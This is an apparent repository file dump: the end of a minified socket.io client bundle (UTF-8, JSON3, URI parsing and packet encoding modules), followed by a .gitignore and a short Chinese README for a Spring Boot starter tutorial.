BlobBuilder=global.BlobBuilder||global.WebKitBlobBuilder||global.MSBlobBuilder||global.MozBlobBuilder;var blobSupported=function(){try{var b=new Blob([\"hi\"]);return b.size==2}catch(e){return false}}();var blobBuilderSupported=BlobBuilder&&BlobBuilder.prototype.append&&BlobBuilder.prototype.getBlob;function BlobBuilderConstructor(ary,options){options=options||{};var bb=new BlobBuilder;for(var i=0;i<ary.length;i++){bb.append(ary[i])}return options.type?bb.getBlob(options.type):bb.getBlob()}module.exports=function(){if(blobSupported){return global.Blob}else if(blobBuilderSupported){return BlobBuilderConstructor}else{return undefined}}()}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],31:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");module.exports=hasBinary;function hasBinary(data){function _hasBinary(obj){if(!obj)return false;if(global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer||global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){return true}if(isArray(obj)){for(var i=0;i<obj.length;i++){if(_hasBinary(obj[i])){return true}}}else if(obj&&\"object\"==typeof obj){if(obj.toJSON){obj=obj.toJSON()}for(var key in obj){if(obj.hasOwnProperty(key)&&_hasBinary(obj[key])){return true}}}return false}return _hasBinary(data)}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{isarray:32}],32:[function(_dereq_,module,exports){module.exports=Array.isArray||function(arr){return Object.prototype.toString.call(arr)==\"[object Array]\"}},{}],33:[function(_dereq_,module,exports){(function(global){(function(root){var freeExports=typeof exports==\"object\"&&exports;var freeModule=typeof module==\"object\"&&module&&module.exports==freeExports&&module;var freeGlobal=typeof global==\"object\"&&global;if(freeGlobal.global===freeGlobal||freeGlobal.window===freeGlobal){root=freeGlobal}var stringFromCharCode=String.fromCharCode;function ucs2decode(string){var output=[];var counter=0;var length=string.length;var value;var extra;while(counter<length){value=string.charCodeAt(counter++);if(value>=55296&&value<=56319&&counter<length){extra=string.charCodeAt(counter++);\nif((extra&64512)==56320){output.push(((value&1023)<<10)+(extra&1023)+65536)}else{output.push(value);counter--}}else{output.push(value)}}return output}function ucs2encode(array){var length=array.length;var index=-1;var value;var output=\"\";while(++index<length){value=array[index];if(value>65535){value-=65536;output+=stringFromCharCode(value>>>10&1023|55296);value=56320|value&1023}output+=stringFromCharCode(value)}return output}function createByte(codePoint,shift){return stringFromCharCode(codePoint>>shift&63|128)}function encodeCodePoint(codePoint){if((codePoint&4294967168)==0){return stringFromCharCode(codePoint)}var symbol=\"\";if((codePoint&4294965248)==0){symbol=stringFromCharCode(codePoint>>6&31|192)}else if((codePoint&4294901760)==0){symbol=stringFromCharCode(codePoint>>12&15|224);symbol+=createByte(codePoint,6)}else if((codePoint&4292870144)==0){symbol=stringFromCharCode(codePoint>>18&7|240);symbol+=createByte(codePoint,12);symbol+=createByte(codePoint,6)}symbol+=stringFromCharCode(codePoint&63|128);return symbol}function utf8encode(string){var codePoints=ucs2decode(string);var length=codePoints.length;var index=-1;var codePoint;var byteString=\"\";while(++index<length){codePoint=codePoints[index];byteString+=encodeCodePoint(codePoint)}return byteString}function readContinuationByte(){if(byteIndex>=byteCount){throw Error(\"Invalid byte index\")}var continuationByte=byteArray[byteIndex]&255;byteIndex++;if((continuationByte&192)==128){return continuationByte&63}throw Error(\"Invalid continuation byte\")}function decodeSymbol(){var byte1;var byte2;var byte3;var byte4;var codePoint;if(byteIndex>byteCount){throw Error(\"Invalid byte index\")}if(byteIndex==byteCount){return false}byte1=byteArray[byteIndex]&255;byteIndex++;if((byte1&128)==0){return byte1}if((byte1&224)==192){var byte2=readContinuationByte();codePoint=(byte1&31)<<6|byte2;if(codePoint>=128){return codePoint}else{throw Error(\"Invalid continuation byte\")}}if((byte1&240)==224){byte2=readContinuationByte();byte3=readContinuationByte();codePoint=(byte1&15)<<12|byte2<<6|byte3;if(codePoint>=2048){return codePoint}else{throw Error(\"Invalid continuation byte\")}}if((byte1&248)==240){byte2=readContinuationByte();byte3=readContinuationByte();byte4=readContinuationByte();codePoint=(byte1&15)<<18|byte2<<12|byte3<<6|byte4;if(codePoint>=65536&&codePoint<=1114111){return codePoint}}throw Error(\"Invalid UTF-8 detected\")}var byteArray;var byteCount;var byteIndex;function utf8decode(byteString){byteArray=ucs2decode(byteString);byteCount=byteArray.length;byteIndex=0;var codePoints=[];var tmp;while((tmp=decodeSymbol())!==false){codePoints.push(tmp)}return ucs2encode(codePoints)}var utf8={version:\"2.0.0\",encode:utf8encode,decode:utf8decode};if(typeof define==\"function\"&&typeof define.amd==\"object\"&&define.amd){define(function(){return utf8})}else if(freeExports&&!freeExports.nodeType){if(freeModule){freeModule.exports=utf8}else{var object={};var hasOwnProperty=object.hasOwnProperty;for(var key in utf8){hasOwnProperty.call(utf8,key)&&(freeExports[key]=utf8[key])}}}else{root.utf8=utf8}})(this)}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],34:[function(_dereq_,module,exports){(function(global){var rvalidchars=/^[\\],:{}\\s]*$/;var rvalidescape=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g;var rvalidtokens=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g;var rvalidbraces=/(?:^|:|,)(?:\\s*\\[)+/g;var rtrimLeft=/^\\s+/;var rtrimRight=/\\s+$/;module.exports=function parsejson(data){if(\"string\"!=typeof data||!data){return null}data=data.replace(rtrimLeft,\"\").replace(rtrimRight,\"\");if(global.JSON&&JSON.parse){return JSON.parse(data)}if(rvalidchars.test(data.replace(rvalidescape,\"@\").replace(rvalidtokens,\"]\").replace(rvalidbraces,\"\"))){return new Function(\"return \"+data)()}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],35:[function(_dereq_,module,exports){exports.encode=function(obj){var str=\"\";for(var i in obj){if(obj.hasOwnProperty(i)){if(str.length)str+=\"&\";str+=encodeURIComponent(i)+\"=\"+encodeURIComponent(obj[i])}}return str};exports.decode=function(qs){var qry={};var pairs=qs.split(\"&\");for(var i=0,l=pairs.length;i<l;i++){var pair=pairs[i].split(\"=\");qry[decodeURIComponent(pair[0])]=decodeURIComponent(pair[1])}return qry}},{}],36:[function(_dereq_,module,exports){var re=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/;var parts=[\"source\",\"protocol\",\"authority\",\"userInfo\",\"user\",\"password\",\"host\",\"port\",\"relative\",\"path\",\"directory\",\"file\",\"query\",\"anchor\"];module.exports=function parseuri(str){var src=str,b=str.indexOf(\"[\"),e=str.indexOf(\"]\");if(b!=-1&&e!=-1){str=str.substring(0,b)+str.substring(b,e).replace(/:/g,\";\")+str.substring(e,str.length)}var m=re.exec(str||\"\"),uri={},i=14;while(i--){uri[parts[i]]=m[i]||\"\"}if(b!=-1&&e!=-1){uri.source=src;uri.host=uri.host.substring(1,uri.host.length-1).replace(/;/g,\":\");uri.authority=uri.authority.replace(\"[\",\"\").replace(\"]\",\"\").replace(/;/g,\":\");uri.ipv6uri=true}return uri}},{}],37:[function(_dereq_,module,exports){var global=function(){return this}();var WebSocket=global.WebSocket||global.MozWebSocket;module.exports=WebSocket?ws:null;function ws(uri,protocols,opts){var instance;if(protocols){instance=new WebSocket(uri,protocols)}else{instance=new WebSocket(uri)}return instance}if(WebSocket)ws.prototype=WebSocket.prototype},{}],38:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");module.exports=hasBinary;function hasBinary(data){function _hasBinary(obj){if(!obj)return false;if(global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer||global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){return true}if(isArray(obj)){for(var i=0;i<obj.length;i++){if(_hasBinary(obj[i])){return true}}}else if(obj&&\"object\"==typeof obj){if(obj.toJSON){obj=obj.toJSON()}for(var key in obj){if(Object.prototype.hasOwnProperty.call(obj,key)&&_hasBinary(obj[key])){return true}}}return false}return _hasBinary(data)}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{isarray:39}],39:[function(_dereq_,module,exports){module.exports=_dereq_(32)},{}],40:[function(_dereq_,module,exports){var global=_dereq_(\"global\");try{module.exports=\"XMLHttpRequest\"in global&&\"withCredentials\"in new global.XMLHttpRequest}catch(err){module.exports=false}},{global:41}],41:[function(_dereq_,module,exports){module.exports=function(){return this}()},{}],42:[function(_dereq_,module,exports){var indexOf=[].indexOf;module.exports=function(arr,obj){if(indexOf)return arr.indexOf(obj);for(var i=0;i<arr.length;++i){if(arr[i]===obj)return i}return-1}},{}],43:[function(_dereq_,module,exports){var has=Object.prototype.hasOwnProperty;exports.keys=Object.keys||function(obj){var keys=[];for(var key in obj){if(has.call(obj,key)){keys.push(key)}}return keys};exports.values=function(obj){var vals=[];for(var key in obj){if(has.call(obj,key)){vals.push(obj[key])}}return vals};exports.merge=function(a,b){for(var key in b){if(has.call(b,key)){a[key]=b[key]}}return a};exports.length=function(obj){return exports.keys(obj).length};exports.isEmpty=function(obj){return 0==exports.length(obj)}},{}],44:[function(_dereq_,module,exports){var re=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/;var parts=[\"source\",\"protocol\",\"authority\",\"userInfo\",\"user\",\"password\",\"host\",\"port\",\"relative\",\"path\",\"directory\",\"file\",\"query\",\"anchor\"];module.exports=function parseuri(str){var m=re.exec(str||\"\"),uri={},i=14;while(i--){uri[parts[i]]=m[i]||\"\"}return uri}},{}],45:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");var isBuf=_dereq_(\"./is-buffer\");exports.deconstructPacket=function(packet){var buffers=[];var packetData=packet.data;function _deconstructPacket(data){if(!data)return data;if(isBuf(data)){var placeholder={_placeholder:true,num:buffers.length};buffers.push(data);return placeholder}else if(isArray(data)){var newData=new Array(data.length);for(var i=0;i<data.length;i++){newData[i]=_deconstructPacket(data[i])}return newData}else if(\"object\"==typeof data&&!(data instanceof Date)){var newData={};for(var key in data){newData[key]=_deconstructPacket(data[key])}return newData}return data}var pack=packet;pack.data=_deconstructPacket(packetData);pack.attachments=buffers.length;return{packet:pack,buffers:buffers}};exports.reconstructPacket=function(packet,buffers){var curPlaceHolder=0;function _reconstructPacket(data){if(data&&data._placeholder){var buf=buffers[data.num];return buf}else if(isArray(data)){for(var i=0;i<data.length;i++){data[i]=_reconstructPacket(data[i])}return data}else if(data&&\"object\"==typeof data){for(var key in data){data[key]=_reconstructPacket(data[key])}return data}return data}packet.data=_reconstructPacket(packet.data);packet.attachments=undefined;return packet};exports.removeBlobs=function(data,callback){function _removeBlobs(obj,curKey,containingObject){if(!obj)return obj;if(global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){pendingBlobs++;var fileReader=new FileReader;fileReader.onload=function(){if(containingObject){containingObject[curKey]=this.result}else{bloblessData=this.result}if(!--pendingBlobs){callback(bloblessData)}};fileReader.readAsArrayBuffer(obj)}else if(isArray(obj)){for(var i=0;i<obj.length;i++){_removeBlobs(obj[i],i,obj)}}else if(obj&&\"object\"==typeof obj&&!isBuf(obj)){for(var key in obj){_removeBlobs(obj[key],key,obj)}}}var pendingBlobs=0;var bloblessData=data;_removeBlobs(bloblessData);if(!pendingBlobs){callback(bloblessData)}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./is-buffer\":47,isarray:48}],46:[function(_dereq_,module,exports){var debug=_dereq_(\"debug\")(\"socket.io-parser\");var json=_dereq_(\"json3\");var isArray=_dereq_(\"isarray\");var Emitter=_dereq_(\"component-emitter\");var binary=_dereq_(\"./binary\");var isBuf=_dereq_(\"./is-buffer\");exports.protocol=4;exports.types=[\"CONNECT\",\"DISCONNECT\",\"EVENT\",\"BINARY_EVENT\",\"ACK\",\"BINARY_ACK\",\"ERROR\"];exports.CONNECT=0;exports.DISCONNECT=1;exports.EVENT=2;exports.ACK=3;exports.ERROR=4;exports.BINARY_EVENT=5;exports.BINARY_ACK=6;exports.Encoder=Encoder;exports.Decoder=Decoder;function Encoder(){}Encoder.prototype.encode=function(obj,callback){debug(\"encoding packet %j\",obj);if(exports.BINARY_EVENT==obj.type||exports.BINARY_ACK==obj.type){encodeAsBinary(obj,callback)}else{var encoding=encodeAsString(obj);callback([encoding])}};function encodeAsString(obj){var str=\"\";var nsp=false;str+=obj.type;if(exports.BINARY_EVENT==obj.type||exports.BINARY_ACK==obj.type){str+=obj.attachments;str+=\"-\"}if(obj.nsp&&\"/\"!=obj.nsp){nsp=true;str+=obj.nsp}if(null!=obj.id){if(nsp){str+=\",\";nsp=false}str+=obj.id}if(null!=obj.data){if(nsp)str+=\",\";str+=json.stringify(obj.data)}debug(\"encoded %j as %s\",obj,str);return str}function encodeAsBinary(obj,callback){function writeEncoding(bloblessData){var deconstruction=binary.deconstructPacket(bloblessData);var pack=encodeAsString(deconstruction.packet);var buffers=deconstruction.buffers;buffers.unshift(pack);callback(buffers)}binary.removeBlobs(obj,writeEncoding)}function Decoder(){this.reconstructor=null}Emitter(Decoder.prototype);Decoder.prototype.add=function(obj){var packet;if(\"string\"==typeof obj){packet=decodeString(obj);if(exports.BINARY_EVENT==packet.type||exports.BINARY_ACK==packet.type){this.reconstructor=new BinaryReconstructor(packet);if(this.reconstructor.reconPack.attachments===0){this.emit(\"decoded\",packet)}}else{this.emit(\"decoded\",packet)}}else if(isBuf(obj)||obj.base64){if(!this.reconstructor){throw new Error(\"got binary data when not reconstructing a packet\")}else{packet=this.reconstructor.takeBinaryData(obj);if(packet){this.reconstructor=null;this.emit(\"decoded\",packet)}}}else{throw new Error(\"Unknown type: \"+obj)}};function decodeString(str){var p={};var i=0;p.type=Number(str.charAt(0));if(null==exports.types[p.type])return error();if(exports.BINARY_EVENT==p.type||exports.BINARY_ACK==p.type){var buf=\"\";while(str.charAt(++i)!=\"-\"){buf+=str.charAt(i);if(i+1==str.length)break}if(buf!=Number(buf)||str.charAt(i)!=\"-\"){throw new Error(\"Illegal attachments\")}p.attachments=Number(buf)}if(\"/\"==str.charAt(i+1)){p.nsp=\"\";while(++i){var c=str.charAt(i);if(\",\"==c)break;p.nsp+=c;if(i+1==str.length)break}}else{p.nsp=\"/\"}var next=str.charAt(i+1);if(\"\"!==next&&Number(next)==next){p.id=\"\";while(++i){var c=str.charAt(i);if(null==c||Number(c)!=c){--i;break}p.id+=str.charAt(i);if(i+1==str.length)break}p.id=Number(p.id)}if(str.charAt(++i)){try{p.data=json.parse(str.substr(i))}catch(e){return error()}}debug(\"decoded %s as %j\",str,p);return p}Decoder.prototype.destroy=function(){if(this.reconstructor){this.reconstructor.finishedReconstruction()}};function BinaryReconstructor(packet){this.reconPack=packet;this.buffers=[]}BinaryReconstructor.prototype.takeBinaryData=function(binData){this.buffers.push(binData);if(this.buffers.length==this.reconPack.attachments){var packet=binary.reconstructPacket(this.reconPack,this.buffers);this.finishedReconstruction();return packet}return null};BinaryReconstructor.prototype.finishedReconstruction=function(){this.reconPack=null;this.buffers=[]};function error(data){return{type:exports.ERROR,data:\"parser error\"}}},{\"./binary\":45,\"./is-buffer\":47,\"component-emitter\":9,debug:10,isarray:48,json3:49}],47:[function(_dereq_,module,exports){(function(global){module.exports=isBuf;function isBuf(obj){return global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],48:[function(_dereq_,module,exports){module.exports=_dereq_(32)},{}],49:[function(_dereq_,module,exports){(function(window){var getClass={}.toString,isProperty,forEach,undef;var isLoader=typeof define===\"function\"&&define.amd;var nativeJSON=typeof JSON==\"object\"&&JSON;var JSON3=typeof exports==\"object\"&&exports&&!exports.nodeType&&exports;if(JSON3&&nativeJSON){JSON3.stringify=nativeJSON.stringify;JSON3.parse=nativeJSON.parse}else{JSON3=window.JSON=nativeJSON||{}}var isExtended=new Date(-0xc782b5b800cec);try{isExtended=isExtended.getUTCFullYear()==-109252&&isExtended.getUTCMonth()===0&&isExtended.getUTCDate()===1&&isExtended.getUTCHours()==10&&isExtended.getUTCMinutes()==37&&isExtended.getUTCSeconds()==6&&isExtended.getUTCMilliseconds()==708}catch(exception){}function has(name){if(has[name]!==undef){return has[name]}var isSupported;if(name==\"bug-string-char-index\"){isSupported=\"a\"[0]!=\"a\"}else if(name==\"json\"){isSupported=has(\"json-stringify\")&&has(\"json-parse\")}else{var value,serialized='{\"a\":[1,true,false,null,\"\\\\u0000\\\\b\\\\n\\\\f\\\\r\\\\t\"]}';if(name==\"json-stringify\"){var stringify=JSON3.stringify,stringifySupported=typeof stringify==\"function\"&&isExtended;if(stringifySupported){(value=function(){return 1}).toJSON=value;try{stringifySupported=stringify(0)===\"0\"&&stringify(new Number)===\"0\"&&stringify(new String)=='\"\"'&&stringify(getClass)===undef&&stringify(undef)===undef&&stringify()===undef&&stringify(value)===\"1\"&&stringify([value])==\"[1]\"&&stringify([undef])==\"[null]\"&&stringify(null)==\"null\"&&stringify([undef,getClass,null])==\"[null,null,null]\"&&stringify({a:[value,true,false,null,\"\\x00\\b\\n\\f\\r\t\"]})==serialized&&stringify(null,value)===\"1\"&&stringify([1,2],null,1)==\"[\\n 1,\\n 2\\n]\"&&stringify(new Date(-864e13))=='\"-271821-04-20T00:00:00.000Z\"'&&stringify(new Date(864e13))=='\"+275760-09-13T00:00:00.000Z\"'&&stringify(new Date(-621987552e5))=='\"-000001-01-01T00:00:00.000Z\"'&&stringify(new Date(-1))=='\"1969-12-31T23:59:59.999Z\"'}catch(exception){stringifySupported=false}}isSupported=stringifySupported}if(name==\"json-parse\"){var parse=JSON3.parse;if(typeof parse==\"function\"){try{if(parse(\"0\")===0&&!parse(false)){value=parse(serialized);var parseSupported=value[\"a\"].length==5&&value[\"a\"][0]===1;if(parseSupported){try{parseSupported=!parse('\"\t\"')}catch(exception){}if(parseSupported){try{parseSupported=parse(\"01\")!==1}catch(exception){}}if(parseSupported){try{parseSupported=parse(\"1.\")!==1}catch(exception){}}}}}catch(exception){parseSupported=false}}isSupported=parseSupported}}return has[name]=!!isSupported}if(!has(\"json\")){var functionClass=\"[object Function]\";var dateClass=\"[object Date]\";var numberClass=\"[object Number]\";var stringClass=\"[object String]\";var arrayClass=\"[object Array]\";var booleanClass=\"[object Boolean]\";var charIndexBuggy=has(\"bug-string-char-index\");if(!isExtended){var floor=Math.floor;var Months=[0,31,59,90,120,151,181,212,243,273,304,334];var getDay=function(year,month){return Months[month]+365*(year-1970)+floor((year-1969+(month=+(month>1)))/4)-floor((year-1901+month)/100)+floor((year-1601+month)/400)}}if(!(isProperty={}.hasOwnProperty)){isProperty=function(property){var members={},constructor;if((members.__proto__=null,members.__proto__={toString:1},members).toString!=getClass){isProperty=function(property){var original=this.__proto__,result=property in(this.__proto__=null,this);this.__proto__=original;return result}}else{constructor=members.constructor;isProperty=function(property){var parent=(this.constructor||constructor).prototype;return property in this&&!(property in parent&&this[property]===parent[property])}}members=null;return isProperty.call(this,property)}}var PrimitiveTypes={\"boolean\":1,number:1,string:1,undefined:1};var isHostType=function(object,property){var type=typeof object[property];return type==\"object\"?!!object[property]:!PrimitiveTypes[type]};forEach=function(object,callback){var size=0,Properties,members,property;(Properties=function(){this.valueOf=0}).prototype.valueOf=0;members=new Properties;for(property in members){if(isProperty.call(members,property)){size++}}Properties=members=null;if(!size){members=[\"valueOf\",\"toString\",\"toLocaleString\",\"propertyIsEnumerable\",\"isPrototypeOf\",\"hasOwnProperty\",\"constructor\"];forEach=function(object,callback){var isFunction=getClass.call(object)==functionClass,property,length;var hasProperty=!isFunction&&typeof object.constructor!=\"function\"&&isHostType(object,\"hasOwnProperty\")?object.hasOwnProperty:isProperty;for(property in object){if(!(isFunction&&property==\"prototype\")&&hasProperty.call(object,property)){callback(property)}}for(length=members.length;property=members[--length];hasProperty.call(object,property)&&callback(property));}}else if(size==2){forEach=function(object,callback){var members={},isFunction=getClass.call(object)==functionClass,property;for(property in object){if(!(isFunction&&property==\"prototype\")&&!isProperty.call(members,property)&&(members[property]=1)&&isProperty.call(object,property)){callback(property)}}}}else{forEach=function(object,callback){var isFunction=getClass.call(object)==functionClass,property,isConstructor;for(property in object){if(!(isFunction&&property==\"prototype\")&&isProperty.call(object,property)&&!(isConstructor=property===\"constructor\")){callback(property)}}if(isConstructor||isProperty.call(object,property=\"constructor\")){callback(property)}}}return forEach(object,callback)};if(!has(\"json-stringify\")){var Escapes={92:\"\\\\\\\\\",34:'\\\\\"',8:\"\\\\b\",12:\"\\\\f\",10:\"\\\\n\",13:\"\\\\r\",9:\"\\\\t\"};var leadingZeroes=\"000000\";var toPaddedString=function(width,value){return(leadingZeroes+(value||0)).slice(-width)};var unicodePrefix=\"\\\\u00\";var quote=function(value){var result='\"',index=0,length=value.length,isLarge=length>10&&charIndexBuggy,symbols;if(isLarge){symbols=value.split(\"\")}for(;index<length;index++){var charCode=value.charCodeAt(index);switch(charCode){case 8:case 9:case 10:case 12:case 13:case 34:case 92:result+=Escapes[charCode];break;default:if(charCode<32){result+=unicodePrefix+toPaddedString(2,charCode.toString(16));break}result+=isLarge?symbols[index]:charIndexBuggy?value.charAt(index):value[index]}}return result+'\"'};var serialize=function(property,object,callback,properties,whitespace,indentation,stack){var value,className,year,month,date,time,hours,minutes,seconds,milliseconds,results,element,index,length,prefix,result;try{value=object[property]}catch(exception){}if(typeof value==\"object\"&&value){className=getClass.call(value);if(className==dateClass&&!isProperty.call(value,\"toJSON\")){if(value>-1/0&&value<1/0){if(getDay){date=floor(value/864e5);for(year=floor(date/365.2425)+1970-1;getDay(year+1,0)<=date;year++);for(month=floor((date-getDay(year,0))/30.42);getDay(year,month+1)<=date;month++);date=1+date-getDay(year,month);time=(value%864e5+864e5)%864e5;hours=floor(time/36e5)%24;minutes=floor(time/6e4)%60;seconds=floor(time/1e3)%60;milliseconds=time%1e3}else{year=value.getUTCFullYear();month=value.getUTCMonth();date=value.getUTCDate();hours=value.getUTCHours();minutes=value.getUTCMinutes();seconds=value.getUTCSeconds();milliseconds=value.getUTCMilliseconds()}value=(year<=0||year>=1e4?(year<0?\"-\":\"+\")+toPaddedString(6,year<0?-year:year):toPaddedString(4,year))+\"-\"+toPaddedString(2,month+1)+\"-\"+toPaddedString(2,date)+\"T\"+toPaddedString(2,hours)+\":\"+toPaddedString(2,minutes)+\":\"+toPaddedString(2,seconds)+\".\"+toPaddedString(3,milliseconds)+\"Z\"}else{value=null}}else if(typeof value.toJSON==\"function\"&&(className!=numberClass&&className!=stringClass&&className!=arrayClass||isProperty.call(value,\"toJSON\"))){value=value.toJSON(property)}}if(callback){value=callback.call(object,property,value)}if(value===null){return\"null\"}className=getClass.call(value);if(className==booleanClass){return\"\"+value}else if(className==numberClass){return value>-1/0&&value<1/0?\"\"+value:\"null\"}else if(className==stringClass){return quote(\"\"+value)}if(typeof value==\"object\"){for(length=stack.length;length--;){if(stack[length]===value){throw TypeError()}}stack.push(value);results=[];prefix=indentation;indentation+=whitespace;if(className==arrayClass){for(index=0,length=value.length;index<length;index++){element=serialize(index,value,callback,properties,whitespace,indentation,stack);results.push(element===undef?\"null\":element)}result=results.length?whitespace?\"[\\n\"+indentation+results.join(\",\\n\"+indentation)+\"\\n\"+prefix+\"]\":\"[\"+results.join(\",\")+\"]\":\"[]\"}else{forEach(properties||value,function(property){var element=serialize(property,value,callback,properties,whitespace,indentation,stack);if(element!==undef){results.push(quote(property)+\":\"+(whitespace?\" \":\"\")+element)}});result=results.length?whitespace?\"{\\n\"+indentation+results.join(\",\\n\"+indentation)+\"\\n\"+prefix+\"}\":\"{\"+results.join(\",\")+\"}\":\"{}\"}stack.pop();return result}};JSON3.stringify=function(source,filter,width){var whitespace,callback,properties,className;if(typeof filter==\"function\"||typeof filter==\"object\"&&filter){if((className=getClass.call(filter))==functionClass){callback=filter}else if(className==arrayClass){properties={};for(var index=0,length=filter.length,value;index<length;value=filter[index++],(className=getClass.call(value),className==stringClass||className==numberClass)&&(properties[value]=1));}}if(width){if((className=getClass.call(width))==numberClass){if((width-=width%1)>0){for(whitespace=\"\",width>10&&(width=10);whitespace.length<width;whitespace+=\" \");}}else if(className==stringClass){whitespace=width.length<=10?width:width.slice(0,10)}}return serialize(\"\",(value={},value[\"\"]=source,value),callback,properties,whitespace,\"\",[])}}if(!has(\"json-parse\")){var fromCharCode=String.fromCharCode;var Unescapes={92:\"\\\\\",34:'\"',47:\"/\",98:\"\\b\",116:\"\t\",110:\"\\n\",102:\"\\f\",114:\"\\r\"};var Index,Source;var abort=function(){Index=Source=null;throw SyntaxError()};var lex=function(){var source=Source,length=source.length,value,begin,position,isSigned,charCode;while(Index<length){charCode=source.charCodeAt(Index);switch(charCode){case 9:case 10:case 13:case 32:Index++;break;case 123:case 125:case 91:case 93:case 58:case 44:value=charIndexBuggy?source.charAt(Index):source[Index];Index++;return value;case 34:for(value=\"@\",Index++;Index<length;){charCode=source.charCodeAt(Index);if(charCode<32){abort()}else if(charCode==92){charCode=source.charCodeAt(++Index);switch(charCode){case 92:case 34:case 47:case 98:case 116:case 110:case 102:case 114:value+=Unescapes[charCode];Index++;break;case 117:begin=++Index;for(position=Index+4;Index<position;Index++){charCode=source.charCodeAt(Index);if(!(charCode>=48&&charCode<=57||charCode>=97&&charCode<=102||charCode>=65&&charCode<=70)){abort()}}value+=fromCharCode(\"0x\"+source.slice(begin,Index));break;default:abort()}}else{if(charCode==34){break}charCode=source.charCodeAt(Index);begin=Index;while(charCode>=32&&charCode!=92&&charCode!=34){charCode=source.charCodeAt(++Index)}value+=source.slice(begin,Index)}}if(source.charCodeAt(Index)==34){Index++;return value}abort();default:begin=Index;if(charCode==45){isSigned=true;charCode=source.charCodeAt(++Index)}if(charCode>=48&&charCode<=57){if(charCode==48&&(charCode=source.charCodeAt(Index+1),charCode>=48&&charCode<=57)){abort()}isSigned=false;for(;Index<length&&(charCode=source.charCodeAt(Index),charCode>=48&&charCode<=57);Index++);if(source.charCodeAt(Index)==46){position=++Index;for(;position<length&&(charCode=source.charCodeAt(position),charCode>=48&&charCode<=57);position++);if(position==Index){abort()}Index=position}charCode=source.charCodeAt(Index);if(charCode==101||charCode==69){charCode=source.charCodeAt(++Index);if(charCode==43||charCode==45){Index++}for(position=Index;position<length&&(charCode=source.charCodeAt(position),charCode>=48&&charCode<=57);position++);if(position==Index){abort()}Index=position}return+source.slice(begin,Index)}if(isSigned){abort()}if(source.slice(Index,Index+4)==\"true\"){Index+=4;return true}else if(source.slice(Index,Index+5)==\"false\"){Index+=5;return false}else if(source.slice(Index,Index+4)==\"null\"){Index+=4;return null}abort()}}return\"$\"};var get=function(value){var results,hasMembers;if(value==\"$\"){abort()}if(typeof value==\"string\"){if((charIndexBuggy?value.charAt(0):value[0])==\"@\"){return value.slice(1)}if(value==\"[\"){results=[];for(;;hasMembers||(hasMembers=true)){value=lex();if(value==\"]\"){break}if(hasMembers){if(value==\",\"){value=lex();if(value==\"]\"){abort()}}else{abort()}}if(value==\",\"){abort()}results.push(get(value))}return results}else if(value==\"{\"){results={};for(;;hasMembers||(hasMembers=true)){value=lex();if(value==\"}\"){break}if(hasMembers){if(value==\",\"){value=lex();if(value==\"}\"){abort()}}else{abort()}}if(value==\",\"||typeof value!=\"string\"||(charIndexBuggy?value.charAt(0):value[0])!=\"@\"||lex()!=\":\"){abort()}results[value.slice(1)]=get(lex())}return results}abort()}return value};var update=function(source,property,callback){var element=walk(source,property,callback);if(element===undef){delete source[property]}else{source[property]=element}};var walk=function(source,property,callback){var value=source[property],length;if(typeof value==\"object\"&&value){if(getClass.call(value)==arrayClass){for(length=value.length;length--;){update(value,length,callback)}}else{forEach(value,function(property){update(value,property,callback)})}}return callback.call(source,property,value)};JSON3.parse=function(source,callback){var result,value;Index=0;Source=\"\"+source;result=get(lex());if(lex()!=\"$\"){abort()}Index=Source=null;return callback&&getClass.call(callback)==functionClass?walk((value={},value[\"\"]=result,value),\"\",callback):result}}}if(isLoader){define(function(){return JSON3})}})(this)},{}],50:[function(_dereq_,module,exports){module.exports=toArray;function toArray(list,index){var array=[];index=index||0;for(var i=index||0;i<list.length;i++){array[i-index]=list[i]}return array}},{}]},{},[1])(1)});"
  },
  {
    "path": "jun_springboot_plugin/springboot_starter/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_starter/README.md",
    "content": "## 教你自己写starter\n\n编写自己的starter\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
